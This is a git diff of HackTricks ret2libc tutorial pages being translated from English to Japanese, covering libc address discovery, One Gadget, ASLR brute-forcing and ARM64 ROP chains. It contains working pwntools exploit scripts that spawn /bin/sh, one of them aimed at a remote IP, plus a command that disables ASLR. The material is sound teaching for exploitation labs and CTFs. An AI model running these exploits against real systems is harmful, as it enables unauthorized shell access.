- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register. - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): これらは esp や他のレジスタにジャンプする命令を見つけるのを難しくする可能性があります。
## References ## References

View File

@ -2,103 +2,90 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## **Basic Information** ## **基本情報**
The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention. **Ret2Libc**の本質は、脆弱なプログラムの実行フローを攻撃者が提供したシェルコードをスタック上で実行するのではなく、共有ライブラリ内の関数(例:**system**、**execve**、**strcpy**)にリダイレクトすることです。攻撃者は、スタック上の戻りアドレスを目的のライブラリ関数を指すように変更するペイロードを作成し、呼び出し規約に従って必要な引数が正しく設定されるようにします。
### **Example Steps (simplified)** ### **例の手順(簡略化)**
- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh) - 呼び出す関数のアドレスsystemと呼び出すコマンド/bin/shを取得する
- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function - コマンド文字列を指す最初の引数と関数への実行フローを渡すROPチェーンを生成する
## Finding the addresses ## アドレスの特定
- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with:
- 使用する`libc`が現在のマシンのものであると仮定すると、メモリにロードされる場所を次のコマンドで見つけることができます:
```bash ```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
``` ```
ASLRがlibcのアドレスを変更しているかどうかを確認したい場合は、次のようにします:
If you want to check if the ASLR is changing the address of libc you can do:
```bash ```bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
``` ```
- 使用されているlibcを知っていれば、`system`関数へのオフセットを見つけることも可能です。
- Knowing the libc used it's also possible to find the offset to the `system` function with:
```bash ```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
``` ```
- 使用されているlibcを知っていれば、次のようにして`/bin/sh`関数へのオフセットを見つけることも可能です:
- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with:
```bash ```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
``` ```
### gdb-peda / GEFの使用
### Using gdb-peda / GEF 使用されているlibcを知っていると、PedaやGEFを使って**system**関数、**exit**関数、そして文字列**`/bin/sh`**のアドレスを取得することも可能です:
Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** :
```bash ```bash
p system p system
p exit p exit
find "/bin/sh" find "/bin/sh"
``` ```
### /proc/\<PID>/mapsの使用
### Using /proc/\<PID>/maps プロセスがあなたと話すたびに**子プロセス**を作成している場合(ネットワークサーバー)、そのファイルを**読み取る**ことを試みてくださいおそらくroot権限が必要です
If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root). ここでは、プロセス内で**libcがどこにロードされているか**、およびプロセスのすべての子プロセスに対して**どこにロードされるか**を正確に見つけることができます。
Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process.
![](<../../../images/image (853).png>) ![](<../../../images/image (853).png>)
In this case it is loaded in **0xb75dc000** (This will be the base address of libc) この場合、**0xb75dc000**にロードされていますこれがlibcのベースアドレスになります
## Unknown libc ## 不明なlibc
It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used: バイナリがロードしている**libcを知らない**可能性があります(アクセスできないサーバーにあるかもしれません)。その場合、脆弱性を悪用して**いくつかのアドレスをリークし、どのlibc**ライブラリが使用されているかを見つけることができます:
{{#ref}} {{#ref}}
rop-leaking-libc-address/ rop-leaking-libc-address/
{{#endref}} {{#endref}}
And you can find a pwntools template for this in: これに関するpwntoolsテンプレートは次の場所にあります
{{#ref}} {{#ref}}
rop-leaking-libc-address/rop-leaking-libc-template.md rop-leaking-libc-address/rop-leaking-libc-template.md
{{#endref}} {{#endref}}
### Know libc with 2 offsets ### 2つのオフセットでlibcを知る
Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**. ページ[https://libc.blukat.me/](https://libc.blukat.me/)を確認し、libc内の関数の**いくつかのアドレス**を使用して**使用されているバージョン**を特定します。
## Bypassing ASLR in 32 bits ## 32ビットでのASLRのバイパス
These brute-forcing attacks are **only useful for 32bit systems**. これらのブルートフォース攻撃は**32ビットシステムにのみ有効**です。
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
- エクスプロイトがローカルの場合、libcのベースアドレスをブルートフォースすることを試みることができます32ビットシステムに有用
```python ```python
for off in range(0xb7000000, 0xb8000000, 0x1000): for off in range(0xb7000000, 0xb8000000, 0x1000):
``` ```
- リモートサーバーを攻撃する場合、**`libc`関数`usleep`のアドレスをブルートフォースする**ことを試みることができます。引数として10を渡します例えば。もしある時点で**サーバーが応答するのに10秒余分にかかる**場合、この関数のアドレスを見つけたことになります。
- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
## One Gadget ## One Gadget
Execute a shell just jumping to **one** specific **address** in libc: libcの**特定の**アドレスにジャンプしてシェルを実行します:
{{#ref}} {{#ref}}
one-gadget.md one-gadget.md
{{#endref}} {{#endref}}
## x86 Ret2lib Code Example ## x86 Ret2lib コード例
In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server:
この例では、ASLRブルートフォースがコードに統合されており、脆弱なバイナリはリモートサーバーにあります
```python ```python
from pwn import * from pwn import *
@ -106,60 +93,59 @@ c = remote('192.168.85.181',20002)
c.recvline() c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000): for off in range(0xb7000000, 0xb8000000, 0x1000):
p = "" p = ""
p += p32(off + 0x0003cb20) #system p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit() p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p payload = 'A'*0x20010 + p
c.send(payload) c.send(payload)
c.interactive() c.interactive()
``` ```
## x64 Ret2lib コード例
## x64 Ret2lib Code Example 次の例を確認してください:
Check the example from:
{{#ref}} {{#ref}}
../ ../
{{#endref}} {{#endref}}
## ARM64 Ret2lib Example ## ARM64 Ret2lib
In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated. ARM64の場合、ret命令はx30レジスタが指している場所にジャンプし、スタックレジスタが指している場所にはジャンプしません。したがって、少し複雑です。
Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones). また、ARM64では命令はその命令が行うことを行います命令の途中でジャンプして新しい命令に変換することはできません
Check the example from: 次の例を確認してください:
{{#ref}} {{#ref}}
ret2lib-+-printf-leak-arm64.md ret2lib-+-printf-leak-arm64.md
{{#endref}} {{#endref}}
## Ret-into-printf (or puts) ## Ret-into-printf (または puts)
This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**. これは、特定のデータを引数として指定して`printf`/`puts`を呼び出すことで**プロセスから情報を漏洩させる**ことを可能にします。例えば、`puts`のアドレスをGOTに入れて`puts`を実行すると、**メモリ内の`puts`のアドレスが漏洩します**。
## Ret2printf ## Ret2printf
This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible): これは基本的に、**Ret2libを悪用して`printf`フォーマット文字列の脆弱性に変換する**ことを意味します。`ret2lib`を使用してprintfを呼び出し、悪用する値を渡します無駄に聞こえますが可能です:
{{#ref}} {{#ref}}
../../format-strings/ ../../format-strings/
{{#endref}} {{#endref}}
## Other Examples & references ## その他の例と参考文献
- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) - [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
- Ret2lib, given a leak to the address of a function in libc, using one gadget - Ret2lib、libc内の関数のアドレスへの漏洩を利用し、one gadgetを使用
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` - 64ビット、ASLR有効だがPIEなし、最初のステップはオーバーフローを埋めてカナリアのバイト0x00まで到達し、次にputsを呼び出して漏洩させることです。カナリアを使ってROPガジェットを作成し、putsを呼び出してGOTからputsのアドレスを漏洩させ、次に`system('/bin/sh')`を呼び出すROPガジェットを作成します。
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget. - 64ビット、ASLR有効、カナリアなし、子関数からのメインでのスタックオーバーフロー。GOTからputsのアドレスを漏洩させるためにputsを呼び出すROPガジェットを作成し、その後one gadgetを呼び出します。
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html) - [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
- 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget. - 64ビット、PIEなし、カナリアなし、relroなし、nx。write関数を使用してwritelibcのアドレスを漏洩させ、one gadgetを呼び出します。
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`. - フォーマット文字列を使用してスタックからカナリアを漏洩させ、バッファオーバーフローを使用してsystemGOT内を呼び出し、`/bin/sh`のアドレスを渡します。
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check). - 32ビット、relroなし、カナリアなし、nx、pie。悪いインデックスを悪用してスタックからlibcとヒープのアドレスを漏洩させます。バッファオーバーフローを悪用して`system('/bin/sh')`を呼び出すret2libを行いますヒープアドレスはチェックをバイパスするために必要です
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,36 +2,32 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\ [**One Gadget**](https://github.com/david942j/one_gadget) は、**system** と **"/bin/sh"** を使用する代わりにシェルを取得することを可能にします。**One Gadget** は、libcライブラリ内でシェルを取得する方法 (`execve("/bin/sh")`) を1つの**アドレス**を使用して見つけます。\
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. しかし、通常はいくつかの制約があり、最も一般的で回避しやすいものは `[rsp+0x30] == NULL` です。**RSP** 内の値を制御できるため、制約を回避するためにもう少しNULL値を送信するだけです。
![](<../../../images/image (754).png>) ![](<../../../images/image (754).png>)
```python ```python
ONE_GADGET = libc.address + 0x4526a ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100 rop2 = base + p64(ONE_GADGET) + "\x00"*100
``` ```
One Gadgetが示すアドレスには、**`libc`が読み込まれているベースアドレスを追加する必要があります**。
To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded.
> [!TIP] > [!TIP]
> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements). > One Gadgetは、**任意の書き込み2実行技術にとって大きな助け**となり、**ROP** **チェーンを簡素化する可能性があります**。なぜなら、1つのアドレスを呼び出すだけで済み要件を満たす必要があります
### ARM64 ### ARM64
The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**. githubリポジトリは、**ARM64がツールによってサポートされている**と述べていますが、Kali 2023.3のlibcで実行すると、**ガジェットが見つかりません**。
## Angry Gadget ## Angry Gadget
From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\ [**githubリポジトリ**](https://github.com/ChrisTheCoolHut/angry_gadget)から: [OneGadget](https://github.com/david942j/one_gadget)に触発されたこのツールはpythonで書かれており、[angr](https://github.com/angr/angr)を使用して`execve('/bin/sh', NULL, NULL)`を実行するガジェットの制約をテストします。\
If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try! OneGadgetから試すガジェットがなくなった場合、Angry Gadgetは試すための複雑な制約を持つガジェットをさらに多く提供します
```bash ```bash
pip install angry_gadget pip install angry_gadget
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
``` ```
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,65 +2,58 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Ret2lib - NX bypass with ROP (no ASLR) ## Ret2lib - NXバイパスとROPASLRなし
```c ```c
#include <stdio.h> #include <stdio.h>
void bof() void bof()
{ {
char buf[100]; char buf[100];
printf("\nbof>\n"); printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin); fgets(buf, sizeof(buf)*3, stdin);
} }
void main() void main()
{ {
printfleak(); printfleak();
bof(); bof();
} }
``` ```
カナリアなしでコンパイル:
Compile without canary:
```bash ```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr # Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
### オフセットを見つける
### Find offset ### x30 オフセット
### x30 offset **`pattern create 200`** を使ってパターンを作成し、**`pattern search $x30`** でオフセットを確認すると、オフセットは **`108`** (0x6c) であることがわかります。
Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c).
<figure><img src="../../../images/image (1218).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1218).png" alt="" width="563"><figcaption></figcaption></figure>
Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**: 分解されたメイン関数を見てみると、**`printf`** に直接ジャンプする命令に**ジャンプ**したいことがわかります。そのオフセットはバイナリがロードされる場所から **`0x860`** です:
<figure><img src="../../../images/image (1219).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1219).png" alt=""><figcaption></figcaption></figure>
### Find system and `/bin/sh` string ### system と `/bin/sh` 文字列を見つける
As the ASLR is disabled, the addresses are going to be always the same: ASLR が無効になっているため、アドレスは常に同じになります:
<figure><img src="../../../images/image (1222).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1222).png" alt=""><figcaption></figcaption></figure>
### Find Gadgets ### ガジェットを見つける
We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**. **`x0`** に **`/bin/sh`** のアドレスを持たせ、**`system`** を呼び出す必要があります。
Using rooper an interesting gadget was found:
rooper を使用して、興味深いガジェットが見つかりました:
``` ```
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret; 0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
``` ```
このガジェットは **`$sp + 0x18`** から `x0` をロードし、その後 `sp` から `x29``x30` のアドレスをロードして `x30` にジャンプします。したがって、このガジェットを使用すると **最初の引数を制御し、その後 system にジャンプ** できます。
This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
### Exploit ### Exploit
```python ```python
from pwn import * from pwn import *
from time import sleep from time import sleep
@ -72,8 +65,8 @@ binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"] system = libc.sym["system"]
def expl_bof(payload): def expl_bof(payload):
p.recv() p.recv()
p.sendline(payload) p.sendline(payload)
# Ret2main # Ret2main
stack_offset = 108 stack_offset = 108
@ -90,80 +83,72 @@ p.sendline(payload)
p.interactive() p.interactive()
p.close() p.close()
``` ```
## Ret2lib - NX、ASL & PIE バイパスとスタックからの printf リーク
## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack
```c ```c
#include <stdio.h> #include <stdio.h>
void printfleak() void printfleak()
{ {
char buf[100]; char buf[100];
printf("\nPrintf>\n"); printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin); fgets(buf, sizeof(buf), stdin);
printf(buf); printf(buf);
} }
void bof() void bof()
{ {
char buf[100]; char buf[100];
printf("\nbof>\n"); printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin); fgets(buf, sizeof(buf)*3, stdin);
} }
void main() void main()
{ {
printfleak(); printfleak();
bof(); bof();
} }
``` ```
**カナリアなしでコンパイル**:
Compile **without canary**:
```bash ```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security clang -o rop rop.c -fno-stack-protector -Wno-format-security
``` ```
### PIEとASLRだがカナリアなし
### PIE and ASLR but no canary - ラウンド1:
- スタックからのPIEのリーク
- メインに戻るためにbofを悪用
- ラウンド2:
- スタックからのlibcのリーク
- ROP: ret2system
- Round 1: ### Printfリーク
- Leak of PIE from stack
- Abuse bof to go back to main
- Round 2:
- Leak of libc from the stack
- ROP: ret2system
### Printf leaks printfを呼び出す前にブレークポイントを設定すると、スタックにバイナリに戻るためのアドレスとlibcのアドレスがあることがわかります:
Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:
<figure><img src="../../../images/image (1215).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address: 異なるオフセットを試すと、**`%21$p`**はバイナリアドレスPIEバイパスをリークし、**`%25$p`**はlibcアドレスをリークできます:
<figure><img src="../../../images/image (1223).png" alt="" width="440"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1223).png" alt="" width="440"><figcaption></figcaption></figure>
Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.** リークされたlibcアドレスからlibcのベースアドレスを引くと、**リークされたアドレスのベースからの**オフセットは`0x49c40`であることがわかります。
### x30 offset ### x30オフセット
See the previous example as the bof is the same. 前の例を参照してください。bofは同じです。
### Find Gadgets ### ガジェットを見つける
Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**. 前の例のように、**`x0`**に文字列**`/bin/sh`**のアドレスを持ち、**`system`**を呼び出す必要があります。
Using rooper another interesting gadget was found:
rooperを使用して、別の興味深いガジェットが見つかりました:
``` ```
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret; 0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
``` ```
このガジェットは、**`$sp + 0x78`** から `x0` をロードし、その後 `sp` から x29 と x30 のアドレスをロードして x30 にジャンプします。したがって、このガジェットを使用すると、**最初の引数を制御し、その後 system にジャンプ**できます。
This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
### Exploit ### Exploit
```python ```python
from pwn import * from pwn import *
from time import sleep from time import sleep
@ -172,15 +157,15 @@ p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6") libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False): def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload) p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr: if is_main_addr:
response = response[:-4] + b"0000" response = response[:-4] + b"0000"
return int(response, 16) return int(response, 16)
def expl_bof(payload): def expl_bof(payload):
p.recv() p.recv()
p.sendline(payload) p.sendline(payload)
# Get main address # Get main address
main_address = leak_printf(b"%21$p", True) main_address = leak_printf(b"%21$p", True)
@ -213,5 +198,4 @@ p.sendline(payload)
p.interactive() p.interactive()
``` ```
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,84 +1,77 @@
# Leaking libc address with ROP # ROPを使用したlibcアドレスのリーク
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
## Quick Resume ## 簡単な要約
1. **Find** overflow **offset** 1. **オーバーフローの**オフセットを**見つける**
2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets 2. **`POP_RDI`ガジェット、`PUTS_PLT`および`MAIN`ガジェットを**見つける**
3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me)) 3. 前のガジェットを使用して**putsまたは他のlibc関数のメモリアドレスをリークし、**libcのバージョンを**見つける**[ダウンロードする](https://libc.blukat.me)
4. With the library, **calculate the ROP and exploit it** 4. ライブラリを使用して、**ROPを計算し、エクスプロイトする**
## Other tutorials and binaries to practice ## 実践するための他のチュートリアルとバイナリ
This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ このチュートリアルは、次のチュートリアルで提案されたコード/バイナリをエクスプロイトします: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) 他の有用なチュートリアル: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
## Code ## コード
Filename: `vuln.c`
ファイル名: `vuln.c`
```c ```c
#include <stdio.h> #include <stdio.h>
int main() { int main() {
char buffer[32]; char buffer[32];
puts("Simple ROP.\n"); puts("Simple ROP.\n");
gets(buffer); gets(buffer);
return 0; return 0;
} }
``` ```
```bash ```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie gcc -o vuln vuln.c -fno-stack-protector -no-pie
``` ```
## ROP - LIBCのリークテンプレート
## ROP - Leaking LIBC template エクスプロイトをダウンロードし、脆弱なバイナリと同じディレクトリに配置し、スクリプトに必要なデータを提供します:
Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:
{{#ref}} {{#ref}}
rop-leaking-libc-template.md rop-leaking-libc-template.md
{{#endref}} {{#endref}}
## 1- Finding the offset ## 1- オフセットの特定
The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):
テンプレートは、エクスプロイトを続行する前にオフセットが必要です。提供されている場合は、必要なコードを実行してそれを見つけます(デフォルトでは `OFFSET = ""`
```bash ```bash
################### ###################
### Find offset ### ### Find offset ###
################### ###################
OFFSET = ""#"A"*72 OFFSET = ""#"A"*72
if OFFSET == "": if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000) payload = cyclic(1000)
print(r.clean()) print(r.clean())
r.sendline(payload) r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application #x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes #cyclic_find(0x6161616b) # Find the offset of those bytes
return return
``` ```
**実行** `python template.py` を入力すると、クラッシュしたプログラムが開かれた **GDB コンソール** が表示されます。その **GDB コンソール** 内で `x/wx $rsp` を実行して、RIP を上書きする予定の **バイト** を取得します。最後に、**python** コンソールを使用して **オフセット** を取得します:
**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
```python ```python
from pwn import * from pwn import *
cyclic_find(0x6161616b) cyclic_find(0x6161616b)
``` ```
![](<../../../../images/image (1007).png>) ![](<../../../../images/image (1007).png>)
After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\ オフセットこの場合は40を見つけたら、その値を使用してテンプレート内のOFFSET変数を変更します。\
`OFFSET = "A" * 40` `OFFSET = "A" * 40`
Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF. 別の方法は、`pattern create 1000` -- _retまで実行_ -- `pattern seach $rsp`をGEFから使用することです。
## 2- Finding Gadgets ## 2- ガジェットの発見
Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
次に、バイナリ内でROPガジェットを見つける必要があります。このROPガジェットは、**libc**を見つけるために`puts`を呼び出すのに役立ち、後で**最終的なエクスプロイトを実行する**ために使用されます。
```python ```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main'] MAIN_PLT = elf.symbols['main']
@ -89,108 +82,98 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT)) log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI)) log.info("pop rdi; ret gadget: " + hex(POP_RDI))
``` ```
`PUTS_PLT`は**function puts**を呼び出すために必要です。\
`MAIN_PLT`は、1回のインタラクションの後に**main function**を再度呼び出すために必要で、**overflow**を**again**(無限のエクスプロイトのラウンド)するために使用されます。**各ROPの最後にプログラムを再度呼び出すために使用されます**。\
**POP_RDI**は、呼び出された関数に**parameter**を**pass**するために必要です。
The `PUTS_PLT` is needed to call the **function puts**.\ このステップでは、pwntoolsが実行中にすべてを見つけるため、何も実行する必要はありません。
The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\
The **POP_RDI** is needed to **pass** a **parameter** to the called function.
In this step you don't need to execute anything as everything will be found by pwntools during the execution. ## 3- libcライブラリの発見
## 3- Finding libc library
Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
今は、どのバージョンの**libc**ライブラリが使用されているかを見つける時です。そうするために、**function** `puts`のメモリ内の**address**を**leak**し、そのアドレスにあるputsバージョンがどの**library version**にあるかを**search**します。
```python ```python
def get_addr(func_name): def get_addr(func_name):
FUNC_GOT = elf.got[func_name] FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT)) log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain # Create rop chain
